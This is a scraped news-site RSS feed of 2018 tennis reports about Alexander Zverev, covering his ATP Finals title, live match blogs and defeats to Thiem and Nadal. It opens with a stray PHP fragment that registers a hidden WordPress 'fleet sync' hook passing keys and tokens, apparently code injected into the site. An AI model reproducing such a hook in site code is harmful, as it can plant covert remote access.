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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Zverev – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 19 Nov 2018 00:34:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Zverev – Brief News https://briefnews.eu 32 32 Novak Djokovic reveals ‘health’ issues after shock Alexander Zverev ATP Finals defeat https://briefnews.eu/novak-djokovic-reveals-health-issues-after-shock-alexander-zverev-atp-finals-defeat/ https://briefnews.eu/novak-djokovic-reveals-health-issues-after-shock-alexander-zverev-atp-finals-defeat/#respond Mon, 19 Nov 2018 00:34:48 +0000 http://briefnews.eu/novak-djokovic-reveals-health-issues-after-shock-alexander-zverev-atp-finals-defeat/

Novak Djokovic was the heavy favourite heading into the final after easing through the round robin stage and semis.

But Zverev refused to be overawed by playing the world No 1 and produced one of his best performances of his young career.

The 21-year-old is the first player to beat both Djokovic and Roger Federer in the same ATP Finals.

And he’s also the first player to beat the top two seeds in the semis and final of the event since Andre Agassi in 1990.

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When asked if his heavy workload in the last few months had caught up with him, Djokovic said: “Maybe. Yeah, maybe a little bit.

“Health-wise I haven’t been really perfect in the last three, four weeks. That took a lot out of me.

“But at the same time, I played finals of Bercy and here. I mean, I have to be happy with that result.

“Of course, finishing the year as No. 1, that was the goal coming into the indoor season. I managed to achieve that.

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Novak Djokovic was below par against Alexander Zverev (Image: EPA)

“Overall it was a phenomenal season that I have to be definitely very proud of.”

Djokovic then expressed his happiness for Zverev, who won the biggest tournament of his career.

He said: “I’m really happy for him.

“I mean, obviously it’s not great to lose a tennis match, especially in the finals of a big tournament. Quite disappointed with my game.

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Novak Djokovic holds his runners-up trophy after losing to Alexander Zverev (Image: Reuters)

“But I’m happy that he won the big title because we have a really good and friendly relationship.

“We reside in the same place. We train a lot. We see each other a lot. He comes from a really nice family.

“As he said on the court, share a lot of on-and-off-the-court friendly and respectful moments.

“I mean, obviously you could see how much it means to him. Obviously, he deserved it.”

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Novak Djokovic: Alexander Zverev broke down after beating Djokovic (Image: REUTERS)

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Novak Djokovic was beaten by the young German in the ATP Tour Finals (Image: REUTERS)

And BBC pundit Tim Henman revealed how the German managed to overcome Djokovic.

“It was Zverev’s resilience and determination that finally wore Djokovic down today, which is very unusual,” he said.

Boris Becker was emotional when speaking on commentary as he watched his compatriot seal victory.

He said: “A German with a sense of humour who can talk and laugh at himself – a star has arrived.

“The way he’s carried himself, he understands the responsibility that comes with the title.”

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Novak Djokovic embraces Alexander Zverev after the final (Image: REUTERS)

Zverev thanked Djokovic for letting him win the biggest title of his career.

“I really can’t describe it. It is the biggest title I have ever won,” he said on court afterwards.

“Firstly I want to congratulate Novak and we may never have seen the tennis he has played in the last few months before. He barely lost a match but thankfully he did to me.”

He continued: “We [Djokovic and Zverev] had so many talks, not only about tennis but all different types of subjects – I won’t mention what – but you are a sharing person and you have shared some titles with me. I appreciate you letting me win one today.

“Also huge congratulations to the whole Djokovic team. Finishing as world number one after having surgery this year, I don’t know if that has been done before. You are one of the best teams on tour so good luck for next year.”

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Novak Djokovic lost the final to Alexander Zverev (Image: REUTERS)

Novak Djokovic vs Alexander Zverev match summary

The 21-year-old broke serve once in the opening set and three times in the second to pull off a shock victory in a packed 02 Arena – denying Serbian Djokovic a record-equalling sixth title at the ATP’s blue-riband event.

Djokovic was a firm favourite having looked unbeatable all week, not dropping a set or even a service game, but 24 hours after being booed following a semi-final win over Roger Federer, Zverev had the crowd drooling over an audacious display.

Zverev is the first German to win the title since Boris Becker in Frankfurt in 1995 and the youngest since Djokovic won at the same age in Shanghai in 2008.

Djokovic had beaten Zverev comfortably in the round-robin phase on Wednesday, but he looked edgy.

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Novak Djokovic and Alexander Zverev after the final at the ATP Finals (Image: EPA)

At 4-4 in the opener a couple of poor Djokovic forehands gave Zverev the chance to serve for the set and he sealed it thanks to three consecutive aces.

An increasingly ragged Djokovic then dropped his opening two service games of the second set, either side of breaking Zverev for the first time.

With victory looming world number five, Zverev showed no sign of nerves and clinched the title when he sent a backhand winner past a stunned Djomovic.

He collapsed onto his back before Djokovic sportingly walked around to the other side to congratulate him.

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]]> https://briefnews.eu/novak-djokovic-reveals-health-issues-after-shock-alexander-zverev-atp-finals-defeat/feed/ 0 Zverev shocks Federer in straight sets to reach ATP final https://briefnews.eu/zverev-shocks-federer-in-straight-sets-to-reach-atp-final/ https://briefnews.eu/zverev-shocks-federer-in-straight-sets-to-reach-atp-final/#respond Sat, 17 Nov 2018 16:53:28 +0000 http://briefnews.eu/zverev-shocks-federer-in-straight-sets-to-reach-atp-final/

Germany’s Alexander Zverev produced a superb performance to defeat Swiss superstar Roger Federer in straight sets to book his place in the final of the ATP Finals at the O2 Arena in London.

Zverev and Federer went back and forth, holding serve in each of the first 11 games before the 21-year-old German finally broke Federer to love in game 12 to claim the first set 7-5.

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Federer, 37, came storming back early in the second set to break Zverev in game three to edge ahead. But the German broke back instantly to level the scores at 2-2 and keep the upper hand over the Swiss star.

The pair could not be separated through the rest of the set as they held serve all the way to a nerve-tingling second-set tie-break.

A Federer mistake at 4/5 saw him drop his racquet then volley into the net to give Zverev two match points. Federer saved the first, but a superb backhand volley from Zverev converted the second to give the German a huge victory.

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The match lasted 95 minutes and saw Zverev level the head-to-head results between the pair at 3-3 as he surged into the final of the tournament.

The German will now face the winner of the second semi-final between Serbia’s Novak Djokovic and South African Kevin Anderson.

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]]> https://briefnews.eu/zverev-shocks-federer-in-straight-sets-to-reach-atp-final/feed/ 0 Novak Djokovic vs Alexander Zverev LIVE: ATP Finals updates as Djokovic returns to action https://briefnews.eu/novak-djokovic-vs-alexander-zverev-live-atp-finals-updates-as-djokovic-returns-to-action/ https://briefnews.eu/novak-djokovic-vs-alexander-zverev-live-atp-finals-updates-as-djokovic-returns-to-action/#respond Wed, 14 Nov 2018 14:31:42 +0000 http://briefnews.eu/novak-djokovic-vs-alexander-zverev-live-atp-finals-updates-as-djokovic-returns-to-action/

Djokovic and Zverev can put one foot in the semi-finals with a victory after both winning their opening ties, against John Isner and Marin Cilic, respectively.

The pair share one win each from their two previous meetings but Djokovic will hold the mental advantage having won 6-2, 6-1 in Shanghai last time out.

However, the Serbian is expecting a tougher challenge this time around against one of the NextGen’s brightest stars.

“Playing Zverev, who also had a straight-sets win, I look forward to that,” Djokovic said.

“It should be a great match. I think we played against each other only twice. We split wins.

“I played him recently in Shanghai, but wasn’t at his best.

“I expect him to play better than he did in Shanghai.

“I’m not too exhausted. I’m feeling fit physically and mentally. I’m looking forward to that match.”

Novak Djokovic vs Alexander Zverev LIVE

(* denotes server)

Novak Djokovic 2-2 Alexander Zverev*

Magnificent defence from Djokovic, twice returning thumping volleys before Zverev fires long for 0-15.

The German moves into the net to try and force the next point, and after a couple of good reaction shots, he fires into the net. 

Zverev delivers the first ace of the match before rallying to hold.

*Novak Djokovic 2-1 Alexander Zverev

Djokovic is aggressive with his groundstrokes to take the first three points but then he produces a rare double fault.

A third fault follows forcing the Serbian to deliver a tame second serve but Zverev is unable to capitalise and the pair trade shots from the baseline until the German fires into the net.

Novak Djokovic 1-1 Alexander Zverev*

Zverev’s serve is bang on form and even Djokovic’s best defensive work is unable to stop this game passing him by.

After storming into a commanding 40-15 lead, Zverev thunders a delivery wide before sending the next passing shot the other way.

Djokovic does well get both efforts back in play but Zverev then volleys a winner. 

*Novak Djokovic 1-0 Alexander Zverev

Djokovic oozing with confidence from the beginning as Zverev fires long in the first proper rally of the match for 30-0.

The world No 1 then attempts a drop shot but Zverev reads it well, moving in quickly to smash a winner down with a forehand the line.

Djokovic ends up 40-30 up and Zverev wildly fires into the tramlines for an opening hold.

2.05pm: Bang on queue the players begin their walk from the changing room to the court.

Zverev comes through the sliding doors and smoke screen first as he is the lowest ranked player.

Djokovic then edges cheer-o-meter from the London faithful with his appearance.

1.55pm: Neither Djokovic nor Zverev can completely guarantee their place in the semi-finals directly after this match.

The pair must wait to see the outcome of Marin Cilic vs John Isner at 8pm tonight.

For Djokovic to progress he must win and hope Isner beats Cilic. Alternatively, if Cilic comes out on top against Isner in three sets, Djokovic must win in straight sets. 

For Zverev to go through he must beat Djokovic and hope Cilic beats Isner. Zverev can also progress is Isner beats Cilic in three sets, so long as the German wins in straight sets.

Easy, right? 

1.45pm: Mike Bryan and Jack Sock have just secured their second doubles win of the tournament against Oliver Marach and Mate Pavic here on Centre Court.

Now the crowd is really starting to get excited as we await the world No 1’s arrival.

Djokovic was handed his year-end ranking trophy earlier this week and gave an emotional speech thanking his friends, family and fans.

But now he wants to complete his incredible season by winning his sixth ATP Finals event – equalling Roger Federer’s record.

1.30pm: Good afternoon and welcome to the O2 Arena where we have the rare opportunity of seeing Djokovic play in the afternoon session.

Only evening supporters have so far witness Djokovic or Federer in action and it is expected to continue like that for the remainder of the tournament.

But the today’s daytime fans have been given been offered up a treat as they watch two of the tournament favourites go to battle.

The pair are due on court around 2pm and it will take an almighty effort from Zverev if he is to stop the most in-form player in the world.

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]]> https://briefnews.eu/novak-djokovic-vs-alexander-zverev-live-atp-finals-updates-as-djokovic-returns-to-action/feed/ 0 German tennis ace Zverev terrifies ballboy with celebration at Shanghai Masters (VIDEO) https://briefnews.eu/german-tennis-ace-zverev-terrifies-ballboy-with-celebration-at-shanghai-masters-video/ https://briefnews.eu/german-tennis-ace-zverev-terrifies-ballboy-with-celebration-at-shanghai-masters-video/#respond Wed, 10 Oct 2018 13:04:34 +0000 http://briefnews.eu/german-tennis-ace-zverev-terrifies-ballboy-with-celebration-at-shanghai-masters-video/

German tennis star Alexander Zverev gave a ballboy the fright of his life when he let out a massive roar while celebrating a point winner during his second-round match at the Shanghai Masters in China.

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The world number five faced tough resistance from Georgia’s Nikoloz Basilashvili in the match opener, but managed to seize the initiative to claim a two-set victory 7-5 6-4.

After smashing a backhand winner in the first set, Zverev raised his fist and roared – terrifying the nearby ballkid, who was jolted backwards and popped out his eyes while the German approached.

Zverev will next face Alex De Minaur of Australia, who defeated Frenchman Benoit Paire 6-3 6-3.

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]]> https://briefnews.eu/german-tennis-ace-zverev-terrifies-ballboy-with-celebration-at-shanghai-masters-video/feed/ 0 Thiem crushes injured Zverev https://briefnews.eu/thiem-crushes-injured-zverev/ https://briefnews.eu/thiem-crushes-injured-zverev/#respond Tue, 05 Jun 2018 16:54:26 +0000 http://briefnews.eu/thiem-crushes-injured-zverev/ ALEXANDER Zverev has paid the price for a trio of French Open marathons, succumbing to fatigue, injury and merciless Dominic Thiem in a lopsided quarter-final.

The second seed’s bid for history ended with a crushing 6-4 6-2 6-1 defeat to Austrian seventh seed Thiem, a pitiless competitor.

Zverev had clung to hopes of a maiden major by winning three consecutive five-set cliff-hangers over Dusan Lajovic, Damir Dzumhur and Karen Khachanov.

But the combined exertion also significantly drained his reserves – and history pointed to his probable demise.

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Only three players in 50 years have survived three five-set encounters here and triumphed – Bjorn Borg (1974), Gustavo Kuerten (’97) and Gaston Gaudio (’04).

Thiem was first to draw blood in the seventh game when Zverev misfired with three unforced errors, allowing the Austrian to punch a backhand winner to clinch the first break.

Renowned as an enforcer, Thiem expertly closed out the set before maintaining a clinical assault on Zverev’s mind and body.

The young German cracked again in the first and fifth games of the second set and it was also clear his movement was compromised.

Before serving in the fifth game, Zverev requested a trainer and had his left hamstring strapped.

He battled on and, with limited mobility, conceded his serve again in the first game of the third set.

Glancing anxiously towards his father and coach Alexander Zverev senior, the world No 3 refused to surrender – despite being jeered by a moronic element on Court Philippe-Chatrier.

But the spindly baseliner could not escape his fate despite courageously soldiering to the finish line, anxious not to deflect from Thiem’s victory.

He saved two match points before Thiem nudged a backhand – his 25th winner – into open court to advance after 110 minutes.

Thiem will contest his third consecutive semi here against either Novak Djokovic or Italian bolter Marco Cecchinato for a place in Sunday’s final.

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]]> https://briefnews.eu/thiem-crushes-injured-zverev/feed/ 0 Rafael Nadal beats Alexander Zverev in Italian Open final THRILLER https://briefnews.eu/rafael-nadal-beats-alexander-zverev-in-italian-open-final-thriller/ https://briefnews.eu/rafael-nadal-beats-alexander-zverev-in-italian-open-final-thriller/#respond Sun, 20 May 2018 19:27:21 +0000 http://briefnews.eu/rafael-nadal-beats-alexander-zverev-in-italian-open-final-thriller/

The Spaniard’s impressive run this spring was ended by Dominic Thiem in Madrid last week, and many expected Rome’s reigning champion Zverev to capitalise on his counterpart’s blip in form by winning his second tournament in as many weeks.

But Nadal was back to his best in the Italian capital this week, despite being put under serious pressure in Sunday’s final.

The 31-year-old wasted little time in the first set, sweeping past his German opponent by six games to one.

However, Zverev fought back in the second set, winning by the same scoreline.

And the Madrid champion gave Nadal a real fright in the deciding set, racing into a 3-1 lead before the rain delay halted proceedings.

But the world No 2 returned to the court in determined fashion, winning every game to secure a 6-3 third set victory.

The victory means Nadal has now won the Italian Open eight times.

“My first victory here in 2005 was one of the most beautiful victories of my career,” he said after his win.

“To have this trophy again with me after so many years is really very special.”

It means Nadal will now replace Federer at the top of the men’s rankings tomorrow morning heading into the French Open.

The Swiss tennis star will not compete at Roland Garros for the third consecutive year, meaning Nadal and Zverev will be the top two seeds.

Nadal has now won all clay-court tournaments this year, bar the Madrid Open, which went to Zverev.

And the 21-year-old admitted his final opponent was the best tennis player to ever grace the orange surface.

“First of all I want to congratulate Rafa,” Zverev told the Italian Open crowd.

“You’re an amazing champion and you proved that tonight.

“You’re the greatest clay-court player of all time, and everybody saw that today.

“Well done to the team, to the coaches, physios and uncle Toni, who played the biggest role in your career.

“Congratulations guys.”

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]]> https://briefnews.eu/rafael-nadal-beats-alexander-zverev-in-italian-open-final-thriller/feed/ 0 Miami Open 2018: John Isner makes bold Alexander Zverev prediction after final win https://briefnews.eu/miami-open-2018-john-isner-makes-bold-alexander-zverev-prediction-after-final-win/ https://briefnews.eu/miami-open-2018-john-isner-makes-bold-alexander-zverev-prediction-after-final-win/#respond Sun, 01 Apr 2018 20:42:31 +0000 http://briefnews.eu/miami-open-2018-john-isner-makes-bold-alexander-zverev-prediction-after-final-win/

Isner won his maiden Masters 1000 title this evening in scorching conditions at Key Biscayne.

He came from behind to prevail in three sets – 6-7, 6-4, 6-4 – as Crandon Park was given a fitting farewell after staging the tournament for 31 years.

In doing so, Isner will jump to a career-high of world No 9 when the rankings are published tomorrow and he will regain the mantle of No 1 American.

Isner also became the oldest first-time winner of an ATP Masters 1000 event in clinching his first win over Zverev, who entered the tournament fifth in the ATP standings.

And the 32-year-old thinks Zverev, who has struggled to make an impact on the Grand Slams, will reach the summit of the men’s game one day.

“We have known each other for seven to eight years now,” Isner said.

“I was practising with him when he was 14 and I knew he was going to be the next big thing in tennis.

“He has won two of these before so I appreciate you letting me have one.

“You have the brightest future ahead of you and the greatest team with you. You do everything the right way.

“I see the work you put in. You deserve everything you have accomplished so far and everything you will accomplish in the future.

“Keep pushing along and you are going to be at the very top one day.”

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After the match was delayed by over an hour due to a power failure, Zverev overcame a slow start before prevailing in straight sets – 6-4, 6-4.

The German, who already has two Masters 1000 series titles to his name (Rome and Montreal), will hope to book his place in the final when he faces Pablo Carreno-Busta later today.

The world No 5 has been tipped to be the natural successor to Roger Federer and Rafael Nadal in the future, but his results in the Grand Slams have something left to be desired – a fourth round appearance at Wimbledon last year his best showing.

But Zverev thinks he is rapidly approaching his best form which will no doubt be a worry to rivals.

When asked about his form after his victory over Coric, he said: “I don’t think I’m far away at all.

“I’m not away at all to be honest.

“The beginning of the seasons are very tough for me because I’m someone who does a lot of physical work in the off season and I have to get used to my new body.

“I put on about 4kg – I’m heavier than I was, stronger than I was and it influences your tennis. It just takes time.”

On facing Carreno-Busta for the first time, Zverev added: “It will be a very difficult match.

“It doesn’t get easy but I will be ready for it.”

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]]> https://briefnews.eu/miami-open-2018-alexander-zverev-issues-warning-after-quarter-final-win-over-borna-coric/feed/ 0 Indian Wells: Alexander Zverev reveals HUGE aspirations https://briefnews.eu/indian-wells-alexander-zverev-reveals-huge-aspirations/ https://briefnews.eu/indian-wells-alexander-zverev-reveals-huge-aspirations/#respond Fri, 09 Mar 2018 01:44:12 +0000 http://briefnews.eu/indian-wells-alexander-zverev-reveals-huge-aspirations/

Zverev has been handed a bye in the first round of the Indian Wells as he enters the competition as a seeded player.

The world No 4 has been dealt a difficult drawn being placed in the same half as Marin Cilic, Novak Djokovic and Kevin Anderson.

However, the German still feels he has enough ability to battle it out with the best to get his 2018 season up and running.

Zverev will enter the California-based event full of confidence after reaching the semi-final of the Mexican Open, where he lost out to eventual champion Juan Martin del Potro.

“It all depends on my game,” Zverev told ATP World Tour.

“I don’t think it depends on what I’ve done last year, it’s more about how I play and I real feel good on court in the practice.

“I really feel like I can compete with anybody.”

When asked if he feels being seeded still comes with its own advantages after being dealt a difficult draw, Zverev replied: “I think they still do.

“It shows how you’ve played over the last 12 months.

“A few players have been a little bit injured but overall I feel good about myself and hopefully i can start the tournament good.”

Zverev is also looking forward to getting out on court in one of his favourite events.

“It’s a great tournament,” he added.

“There’s a reason why it’s been voted one of the best Masters for so many years.

“Obviously all the players enjoy it. There are so many courts and practice courts – the facilities are great.”

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]]> https://briefnews.eu/indian-wells-alexander-zverev-reveals-huge-aspirations/feed/ 0 Roger Federer vs Alexander Zverev LIVE: Hopman Cup latest as Federer levels match at 1-1 https://briefnews.eu/roger-federer-vs-alexander-zverev-live-hopman-cup-latest-as-federer-levels-match-at-1-1/ https://briefnews.eu/roger-federer-vs-alexander-zverev-live-hopman-cup-latest-as-federer-levels-match-at-1-1/#respond Sat, 06 Jan 2018 09:35:39 +0000 http://briefnews.eu/roger-federer-vs-alexander-zverev-live-hopman-cup-latest-as-federer-levels-match-at-1-1/

Zverev’s team played Australia yesterday and it proved a problematic match-up for the German, who was beaten by Thanasi Kokkinakis in three sets.

Federer meanwhile has breezed through the week, setting up his Swiss team for win on each of his three occasions with routine straight sets wins.

The 36-year-old beat Yuichi Sugita, Karen Khachanov and Jack Sock to show impressive form while his Australian Open rivals are almost all struggling with injury.

Express Sport brings you all the action from his match in Perth today, where he will likely face his toughest test of the year so far.

Roger Federer vs Alexander Zverev LIVE

(* denotes next to serve)

*Federer 6-7, 6-0, 0-1 Zverev

An important hold to start the decider for Zverev, his first game in nearly half an hour.

Federer 6-7, 6-0 Zverev*

Love hold, minimal fuss and 22 minutes after losing the first set, Roger is level. Game on. Federer wins the second set 6-0.

Question now is whether Zverev can recover his composure and his level.

*Federer 6-7, 5-0 Zverev

Dear oh dear. Federer forces two break points but only needs one and the Swiss will serve for a lesser-spotted bagel against a world No 4…

Federer 6-7, 4-0 Zverev*

Credit to Zverev, who recovers from his mini-strop to force a break point of his own, leaning on the forehand. However, Federer saves it and maintains his advantage.

*Federer 6-7, 3-0 Zverev

Federer is ruthless and Zverev is riled. After an overruled line call, Zverev is forced to re-serve – and at break point too. The German has a long “conversation” with the umpire before and after the point. Either way, Federer breaks again.

Federer 6-7, 2-0 Zverev*

A love hold to consolidate the break. Very Federer, very good.

*Federer 6-7, 2-0 Zverev

Some unbelievable tennis from Federer here. First, one of those reflex backhand passes that somehow lands in the court, and then a low, angled forehand volley that puts him in position to bring up two break points.

Another nailed backhand saves the first one but after a weak return, Zverev misses the put-away forehand and Federer breaks.

FIRST SET TIE-BREAK

Wow. Federer misses an absolute sitter at the net after a cat-and-mouse point at 1-1 and a backhand top-spin lob makes in 3-1. The Swiss bombs down an ace to get the wheels back on but Zverev still has the mini-break and leads 4-2 at the change of ends.

Another ace consolidates his advantage but Federer makes this forehand volley, not snatching as he did at the other end. However, “Sacha” smashes a backhand pass down the line to bring up three set points. Federer saves the first with a beautiful drop shot but a big serve converts the second and Zverev wins the first set 7-6.

Federer 6-6 Zverev

Zverev steps into the court and stays down on his two-handed backhand to find a beautiful winner but then Federer catches him with a backhand flicked pass off a very deep volley.

One point later, Federer ups the tempo and finds a backhand that Zverev just can’t handle, winning the long rally and forcing set point. But again Zverev nails a backhand that Federer can only net in return.

Tie-break it is.

Federer 6-5 Zverev*

Once again, Federer is under a little pressure on his serve at 30-30 – but slices a serve out wide for an ace and follows it with another. Pressure? Roger thinks nothing of such things.

*Federer 5-5 Zverev

Stunning drop volley from Federer eludes Zverev – all the more remarkable for being played mid-court and on the run. A lovely kick serve into the Federer backhand gives him the lead in the game and Zverev soon completes the 10th straight hold.

Federer 5-4 Zverev*

The forehand is back, by the way. At its best, it looks loose and undoubted, as it does to win the point at 15-0 and an ace seals a quick serve to love.

*Federer 4-4 Zverev

Still on serve but Zverev is cranking up the first serve speeds. Are we heading towards a fourth straight Hopman Cup tie-break between these two?

Federer 4-3 Zverev*

The Federer forehand is going off the boil here and he presents Zverev with a break point. Anyone want to predict his tactic? Serve. And. Volley. Two cheap points followed by a long rally in which the German fires long on the backhand wing.

Gutsy hold.

*Federer 3-3 Zverev

Federer misses a forehand at 15-30 and shows an increasingly rare sign of frustration. He really wants a break in the middle of this set. A tie-break is not the way he wants to have to do it. (He lost two out of three to Zverev when they met here last year.)

Federer 3-2 Zverev*

That Federer backhand is as good as I can ever remember seeing it but Zverev does get a sniff of the game at 40-30. Unfortunately, Federer at game point is pretty clinical and he takes game five at the net.

*Federer 2-2 Zverev

Starting to find some rhythm now Zverev and he matches Federer’s hold to 15.

Federer 2-1 Zverev*

Monstrous from Federer. Having forced Zverev to spend the better part of 10 minutes holding, he puts a game a way in little more than a minute. Zverev’s only point is a booming forehand winner off the serve though so that’s something.

*Federer 1-1 Zverev

Bit of a grimace from Zverev after a double-fault that was as much because of the shot as some stiffness in his body, I think. A poor forehand miss follows and leaves him 15-30 down and Federer forces a break point – only for Zverev to come in behind an excellent forehand and complete the volley.

The German needs a couple of deuces, and has to save another break point, and FINALLY holds.

So both men have saved two break points in their opening service games. Competitive much?

Federer 1-0 Zverev*

We expect Federer to come forward whenever possible – and he serve-and-volleys the opening two points as if to remind us of that expectation.

But he finds himself two break points down after a fine rally ends with him flying a forehand long.

However, Federer continues to be aggressive with his serve tactics and wins four straight points to hold. 

8.05am: Federer to serve first…

8am: The players are being introduced to the crowd – Federer flanked by Belinda Bencic and Zverev by former world No 1 Angelique Kerber. The two women will face off in a singles clash after the men followed by a mixed doubles match in the “FAST4” format.

Federer and Zverev knocking up as we speak.

7.45am: As they say in Western Australia, “she’s a beauty!”. This is the final we were all hoping would emerge from the shakedown of teams in this unique exhibition tournament.

Remember that this is an exhibition, and later in the matches both players have been a little light-hearted – but it is still serious work with only nine days to sharpen their tools ahead of the Australian Open.

And Federer won’t want to give Zverev any quarter: the German is world No 4 and likely his one of his fiercest challengers for the title in Melbourne. Add to that the fact that Zverev has two ATP wins in five meetings with Federer, and this should be a serious match between the two.

8am start due UK time – and they’ve been pretty prompt so far this week in Perth.

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